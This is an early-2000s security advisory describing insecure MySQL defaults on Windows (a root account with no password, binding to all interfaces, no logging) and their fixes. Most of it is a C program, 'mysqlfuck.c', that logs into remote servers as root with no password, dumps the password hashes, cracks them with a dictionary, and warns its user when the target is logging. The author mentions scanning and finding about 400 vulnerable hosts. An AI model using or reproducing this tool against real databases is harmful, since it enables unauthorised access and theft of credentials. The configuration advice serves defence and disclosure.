Weak MySQL Default Configuration on Windows

[Mike Bommarito <g0thm0g () attbi com>]

        MySQL is an open-source database database produced by
MySQL AB (www.mysql.org).
MySQL AB provides binaries for the Windows platform
which run "out-of-the-box.  However,
the default configuration for these binaries leave
MySQL wide open to attack in a number
of ways:

1) NULL root Password:

        MySQL allows user management via an in-database system
table called 'mysql.user'.  This
table includes fields on the users' username, password,
and host.  However, MySQL by default
allows root login, from localhost and any host, without
password.  Some users are unaware of
this.  The problem is exascerbated by the fact that a
large portion of MySQL users learn 
MySQL through the PHP examples on www.php.net which
show the user and password argument of
mysql_connect as optional. Also, the MySQL manual 
page (http://www.mysql.com/doc/en/Adding_users.html) on
adding users never mentions removing
the default root/NULL users, even though it shows
starting the client with user root and no
password.  A quick method of rectifying this is:
        DELETE FROM mysql.user;
        GRANT ALL PRIVILEGES ON *.* TO user@localhost 
                IDENTIFIED BY 'password' WITH GRANT OPTION;


2) Non-loopback-bound server:

        The majority of MySQL's users run their database
server on the same host as their
web server.  However, in MySQL's configuration file,
the line 'bind-address=127.0.0.1' is 
commented out.  A server bound to the loopback
interface would only be accessible on that
host, removing the possibility of remote logins, which
most users do not need.  However,
because this line is commented out, MySQL will be
accessible to any remote host.  Combined
with the default root/NULL login, this means that
anyone can remotely login as root, without
a password, and have full rights to any database.  To
enable binding to the loopback adapter,
uncomment the bind-address line in your my.ini.


3) No logging:
        Logging is a necessary part of any secure server
software.  However, MySQL does not
log at all on Windows by default.  This means that a
MySQL administrator would not be able
to determine if his database had been comprimised, or
if an individual was attempting to
brute force a user/password account.  Logging can be
enabled by adding these lines to your 
my.ini:
        log-long-format
        log=/path/to/somewhere/log.txt


        In order to demonstrate the simplicity of such an
attack, I've included a program 
to connect to a host, login as root/NULL, steal the
hashes, and display them.  The 
program takes about 5 seconds to execute, and if the
host is vulnerable, will show the 
hashes.  If you have have a dictionary word list, put
it in the same directory as 
dictionary.txt and it'll try and find a match to one of
the words.              

Thanks to:
        -tiefer, for all the help on the research.

Cheers:
        -g0thm0g (g0thm0g at attbi dot com)     

//mysqlfuck.c
/*--||MySQLfuck||--*/
/*Written by g0thm0g*/
/*-----------------*/
/*Earlier this summer (at least where I live), I had a
conversation with a friend.
It was one of those afternoons where you get an idea,
and it kinda sticks with you.
Anyway, our conversation involved a couple questions
about INSERT's into a MySQL
database.  Eventually, I told him that I would do it
for him.  I came over, sat down
on his computer, and accidentally typed his full IP
address in.  TO my surprise, the
host still connected.  Even worse, root login wasn't
passworded.  I figured that he
had mysql bound to 127.0.0.1, and that no real remote
host could connect.  However,
later that night after I had gone home, I got a phone
call from the friend asking me
to do it again.  Already on the computer (go figure
d:), I pulled up bash and
typed in his IP.  Right as I was about to ask him what
his password was, I noticed
that MySQL hadn't even bothered to authenticate me.  I
"used mysql" and then SELECT'ed
user,password,host FROM user.  To my horror, I recieved:
                                                +------+----------+-----------+
                                                | user | password | host      |
                                                +------+----------+-----------+
                                                | root |          | localhost |
                                                | root |          | %         |
                                                |      |          | localhost |
                                                |      |          | %         |
                                                +------+----------+-----------+
        Not only was name-less login allowed, but root was
without password on localhost
and remote.  Anyway, to make a long story short, I did
some research, and found that
default Windows MySQL configuration lacks logging or
authentication.  I did some
network scanning, and I think I have around 400 hosts
with no root password.  Anyway,
to automate checking this, I wrote this program up.  It
tries to login as root/NULL,
then takes the values of the user password hashes and
tries to find a match to a
dictionary file called dictionary.txt.

I wrote up an advisory, which you'll probably see on
SecFoc soon.

If I had some cookies, I'd give them to:
        -Tiefer and his relentless questioning and jokes about
my sister
        -Club 21, especially for Hard Attack
        -DJ Doboy, can't forget trancequility volume 19

(INSERT STANDARD "NOT-TO-BE-USED-FOR-ILLEGAL-USE"
CLAUSE HERE)
(INSERT STANDARD "I-HOLD-NO-LIABILITY" CLAUSE HERE)

Compile:
        -MSVC= cl mysqlfuck.c libmySQL.lib /DWIN32 -O2
        -GCC=  gcc -omysqlfuck mysqlfuck.c -lmySQL -O2

        -Cheers
                g0th
*/


#include <stdio.h>
#ifdef WIN32
#include <windows.h>
#endif
#include <mysql.h>

/*_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-*?
/*Crazy MySQL programmers and their short typedefs*/
/*-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-*/

#ifndef ulong
#define ulong unsigned long
#endif

#ifndef uint
#define uint unsigned int
#endif

#ifndef uchar
#define uchar unsigned char
#endif

/*_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-*?
/*##--####--####--####--####--####--####--####--##*/
/*-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-*/

/*--------------------------------------------------------------*/
/*<<<<This section is ripped straight from the MySQL
source.>>>>*/
/*I have this all nice and optimized in assembly on my
end, but*/
/*writing cross-compiler inline is not too fun, and
requring an*/
/*assembler is kinda frustrating.*/
/*--------------------------------------------------------------*/
void hash_password(ulong *result, const char *password)
{
  register ulong nr=1345345333L, add=7, nr2=0x12345671L;
  ulong tmp;
  for (; *password ; password++)
  {
    if (*password == ' ' || *password == '\t')
      continue;                 /* skipp space in password */

    tmp= (ulong) (uchar) *password;
    nr^= (((nr & 63)+add)*tmp)+ (nr << 8);
    nr2+=(nr2 << 8) ^ nr;
    add+=tmp;
  }

  result[0]=nr & 2147483647; /* Don't use sign bit
(str2int) */;
  result[1]=nr2 & 2147483647;
  return;
}

void make_scrambled_password(char *to,const char *password)
{
  ulong hash_res[2];
  hash_password(hash_res,password);
  sprintf(to,"%08lx%08lx",hash_res[0],hash_res[1]);
}
/*--------------------------------------------------------------*/
/*<<<<######################################################>>>>*/
/*--------------------------------------------------------------*/


/*%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%*/


/*--------------------------------*/
/*<<<user struct to store data>>>>*/
/*--------------------------------*/
typedef struct
{
        char *user;
        char *password;
} user;

#define MAX_USERS       16
/*--------------------------------*/
/*<<<<########################>>>>*/
/*--------------------------------*/



//main - for "coherency's" (yes, i mean laziness) sake,
i've kept this a single function
int
        main
        (
                int argc,
                char** argv
        )
        {

                MYSQL * mysqlData;                      //--|-
                MYSQL_RES * mysqlResult;        //--|-MySQL Datatypes
                MYSQL_ROW mysqlRow;                     //--|-

                char *spHost;                           //--|
                char *spUser="root";                    //--|
                char *spPassword=NULL;          //--|-Our connection data
                int spPort=3306;                        //--|
                char *spServerVersion;          //--|

                int usernum=0;                          //--|
                user *users[MAX_USERS];         //--|-User name/hash storage
data

                FILE *fin, *fout;                       //--|
                char *file_name;                        //--|-File I/O data

                char *line=(char *)malloc(64);  //--|
                char *buff=(char *)malloc(64);  //--|-Miscellaneous
buffers

                int i=0;                                        //--|Counter


                //Warn about not meeting minimal arguments
                if (2>argc)
                {
                        fprintf (stderr, "usage: mysqlfuck host [-p<port>]");
                        return -1;
                }

                //Copy the first argument into the host buffer
                spHost=(char *)malloc(sizeof(argv[1]));
                strcpy (spHost, argv[1]);

                //Copy port if the user specified
                if (argv[2])
                {
                        if (argv[2][1]=='p')
                        {
                                ++argv[2];
                                ++argv[2];
                                spPort=atoi(argv[2]);
                                printf ("port: %i\n", spPort);
                        }
                }

                //Initialize MySQL data and connect with root/NULL

                mysqlData = (MYSQL *)malloc(sizeof(MYSQL));

                mysql_init (mysqlData);

                if (! mysql_real_connect (mysqlData, spHost, spUser,
spPassword, "mysql", spPort, NULL, 0) )
                {
                        fprintf (stderr, "mysql_real_connect: %s\n",
mysql_error (mysqlData));
                        return -1;
                }

                //If the server logs, inform the user!

                printf ("server version: %s\n",
mysql_get_server_info(mysqlData));

                if (strstr (mysql_get_server_info (mysqlData), "log"))
                {
                        printf ("Warning!  Server is logging - Continue(*/n)?");
                        if (getchar()=='n')
                        {
                                mysql_close (mysqlData);
                                return -1;
                        }
                }

                //"Obtain" the hashes (notice i didn't use the word
steal)

                if ( mysql_query (mysqlData, "SELECT user,password
FROM user") )
                {
                        fprintf (stderr, "mysql_query: %s\n", mysql_error
(mysqlData));
                        return -1;
                }

                //Store the result and process it

                mysqlResult=mysql_store_result(mysqlData);
                while (mysqlRow=mysql_fetch_row(mysqlResult))
                {
                        if (strlen(mysqlRow[0])==0)
                        {
                                mysqlRow[0]="(NULL)";
                        }

                        if (strlen(mysqlRow[1])==0)
                        {
                                mysqlRow[1]="(NULL)";
                        }


                        users[usernum]=(user *)malloc(sizeof(user));
                        users[usernum]->user=(char
*)malloc(strlen(mysqlRow[0])+1);
                        strcpy (users[usernum]->user, mysqlRow[0]);
                        users[usernum]->password=(char
*)malloc(strlen(mysqlRow[1])+1);
                        strcpy (users[usernum]->password, mysqlRow[1]);
                        usernum++;
                }

                mysql_close (mysqlData);

                //Setup putput file name string

                file_name=(char *)malloc (sizeof(spHost)+4);
                strcpy (file_name, spHost);
                strcat (file_name, ".txt\0\0");
                printf ("\n+----------------------------+\n");
                printf ("<decrypting and dumping to %s>\n", file_name);
                printf ("+----------------------------+\n");


                fout=fopen (spHost, "w");

                if (!fout)
                {
                        fprintf (stderr, "Unable to open %s for password
dumping\n", spHost);
                        return -1;
                }


                //Use a database to crack the hashes (optional)
                fin=fopen ("dictionary.txt", "r");
                if (!fin)
                {
                        fprintf (stderr, "error opening dictionary.txt - no
decryption will take place\n");

                        for (i=0;i<usernum;i++)
                        {
                                printf ("%s::%s\n", users[i]->user,
users[i]->password);
                        }

                        return -1;
                }

                //Loop through the user array and crack/output hashes
                for (i=0;i<usernum;i++)
                {
                        if (users[i]->user)
                        {
                                if (users[i]->password)
                                {

                                        while ( (fgets (line, 63, fin)))
                                        {
                                                line[strlen(line)-1]='\0';
                                                make_scrambled_password (buff, line);
                                                if (strcmp (buff, users[i]->password)==0)
                                                {
                                                        users[i]->password=line;
                                                        break;
                                                }
                                        }

                                        fclose (fin);

                                        fprintf (fout, "%s::%s\n", users[i]->user,
users[i]->password);
                                        printf ("%s::%s\n", users[i]->user,
users[i]->password);
                                        fflush (fout);
                                }
                        }
                }

                //Always clean up after yourself!

                fclose (fout);

                if (buff)
                        free (buff);

                if (line)
                        free (line);

                if (spHost)
                        free (spHost);

                if (users)
                        free (users);

                if (file_name)
                        free (file_name);

                if (mysqlData)
                        free (mysqlData);

        }